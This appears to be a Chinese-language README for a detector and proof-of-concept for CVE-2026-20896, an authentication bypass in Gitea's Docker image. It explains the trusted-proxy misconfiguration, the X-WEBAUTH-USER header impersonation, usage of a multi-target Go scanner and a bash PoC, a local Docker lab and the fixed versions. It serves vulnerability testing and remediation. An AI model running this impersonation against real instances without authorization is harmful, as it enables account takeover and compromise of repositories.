仅限授权的红队/渗透测试操作。
本仓库包含 CVE-2026-20896 的极简检测器,该漏洞是官方 Gitea Docker 镜像在启用反向代理认证时存在的认证绕过漏洞,影响版本直至并包括 1.26.2。
受影响的 Gitea Docker 镜像附带了一个包含以下内容的 app.ini 模板:
REVERSE_PROXY_TRUSTED_PROXIES = *
当管理员启用:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea 会信任来自任何能够直接访问容器 HTTP 端口的源 IP 的 X-WEBAUTH-USER。绕过预期认证反向代理的客户端只需发送一个请求头,即可冒充已知或可猜测的用户。
实际影响是未认证的账户冒充。如果猜测的用户是管理员,最坏情况下可对 Gitea 实例及其仓库实现完整的应用级接管。主机 RCE 取决于具体环境,本检测器不对此作断言。
修复版本始于 1.26.3;建议升级到 1.26.4 或更高版本。
该检测器:
Powered by Gitea Version: 1.26.4。>= 1.26.3,则跳过测试。X-WEBAUTH-USER: <username> 的 GET / 请求。Go 版本支持多目标、用户名文件、并发、超时、JSONL 输出、TLS --insecure、--dry-run 和 --force。
go build -o gitea-cve-2026-20896-check .
无需第三方 Go 依赖。
单目标:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
多目标与多用户名:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
试运行:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Bash 备用脚本:
./poc.sh --url http://localhost:3000 --users admin,alice
0:已确认至少一个存在漏洞的冒充行为1:未确认任何存在漏洞的冒充行为2:用法、输入或运行时错误以下实验环境将启动一个受影响的本地 Gitea 容器并创建一个测试用户:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
预期阳性结果:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
清理:
docker rm -f gitea-cve-2026-20896
1.26.3 或更高版本;首选 1.26.4 或更高版本。1.26.3 / 1.26.4 版本发布说明:https://blog.gitea.com/release-of-1.26.3-and-1.26.4/